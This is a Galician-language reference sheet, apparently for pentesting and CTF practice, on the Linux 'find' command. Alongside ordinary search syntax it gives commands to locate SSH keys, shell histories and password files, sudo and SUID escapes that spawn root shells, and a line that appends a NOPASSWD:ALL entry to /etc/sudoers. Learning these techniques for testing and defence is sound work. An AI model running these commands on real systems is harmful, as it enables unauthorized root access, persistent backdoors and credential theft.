Ir ao contido

find - Buscar Ficheiros e Escalada de Privilexios

Descrición

Comando para buscar ficheiros no sistema. Moi útil para recoñecemento, busca de ficheiros sensibles e escalada de privilexios mediante permisos SUID/SGID.

Sintaxe básica

find <ruta> [opcións] [expresión]

Opcións principais

Opción Descrición
-name <patrón> Buscar por nome de ficheiro
-iname <patrón> Buscar por nome (case-insensitive)
-type f Só ficheiros
-type d Só directorios
-user <usuario> Ficheiros dun usuario
-group <grupo> Ficheiros dun grupo
-perm <permisos> Buscar por permisos específicos
-size <tamaño> Buscar por tamaño
-exec <comando> {} \; Executar comando en cada resultado
-readable Ficheiros lexibles
-writable Ficheiros escribibles

Exemplos de uso

Busca básica de ficheiros

# Buscar ficheiro por nome
find / -name "flag.txt" 2>/dev/null

# Buscar ficheiros que conteñan "pass" no nome
find / -name "*pass*" 2>/dev/null

# Buscar ficheiros de configuración
find / -name "*.conf" 2>/dev/null

# Buscar scripts
find / -name "*.sh" 2>/dev/null

# Buscar ficheiros modificados nos últimos 10 minutos
find / -type f -mmin -10 2>/dev/null

Busca de ficheiros SUID/SGID (Escalada de Privilexios)

# Buscar TODOS os ficheiros SUID (bit 4000)
find / -perm -4000 2>/dev/null

# Buscar ficheiros SUID de root
find / -user root -perm -4000 2>/dev/null

# Buscar ficheiros SGID (bit 2000)
find / -perm -2000 2>/dev/null

# Buscar SUID e SGID
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null

# Formato detallado con permisos
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Busca de ficheiros escribibles

# Directorios escribibles por calquera usuario
find / -type d -writable 2>/dev/null

# Ficheiros escribibles en /etc
find /etc -writable -type f 2>/dev/null

# Scripts escribibles
find / -name "*.sh" -writable 2>/dev/null

Busca de ficheiros sensibles

# Buscar ficheiros de backup
find / -name "*.bak" 2>/dev/null
find / -name "*backup*" 2>/dev/null

# Buscar ficheiros con passwords
find / -name "*password*" 2>/dev/null
find / -name "*passwd*" 2>/dev/null

# Buscar chaves SSH
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Buscar historial de comandos
find / -name ".bash_history" 2>/dev/null
find / -name ".mysql_history" 2>/dev/null

# Buscar ficheiros de configuración
find / -name "config.*" 2>/dev/null
find /var/www -name "config.php" 2>/dev/null

Busca por usuario/grupo

# Ficheiros dun usuario específico
find / -user john 2>/dev/null

# Ficheiros sen propietario (usuarios eliminados)
find / -nouser 2>/dev/null

# Ficheiros sen grupo
find / -nogroup 2>/dev/null

Escalada de privilexios con find + sudo

# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/find
sudo find /etc/passwd -exec /bin/bash \;
sudo find . -exec /bin/sh \; -quit

# Ler ficheiros como root
sudo find /root -name "flag.txt" -exec cat {} \;

# Escribir ficheiros como root
echo "john ALL=(ALL) NOPASSWD:ALL" | sudo find /etc -name sudoers -exec tee -a {} \;

Busca por tamaño

# Ficheiros maiores de 10MB
find / -type f -size +10M 2>/dev/null

# Ficheiros entre 1MB e 5MB
find / -type f -size +1M -size -5M 2>/dev/null

# Ficheiros baleiros
find / -type f -size 0 2>/dev/null

Vectores de escalada con binarios SUID comúns

# Se find atopa binarios SUID interesantes:

# /usr/bin/python (SUID)
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# /usr/bin/php (SUID)
/usr/bin/php -r "pcntl_exec('/bin/bash');"

# /usr/bin/vim (SUID)
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

# /usr/bin/find (SUID)
/usr/bin/find . -exec /bin/bash -p \; -quit

# /usr/bin/nmap (versións antigas con SUID)
nmap --interactive
nmap> !sh

Notas adicionais

  • Sempre redirixir erros con 2>/dev/null para limpar saída
  • Os binarios SUID/SGID son obxectivos principais para escalada de privilexios:
    • -perm -4000 busca o bit SUID establecido
    • -perm -2000 busca o bit SGID establecido
  • Verificar sempre en GTFOBins
  • Combinar con -exec para executar comandos en cada resultado
  • Buscar ficheiros sen propietario (-nouser) pode revelar configuracións problemáticas
  • Buscar ficheiros/directorios cun propietario coñecido pode revelar configuracións problemáticas para movemento lateral ou escalada de privilexios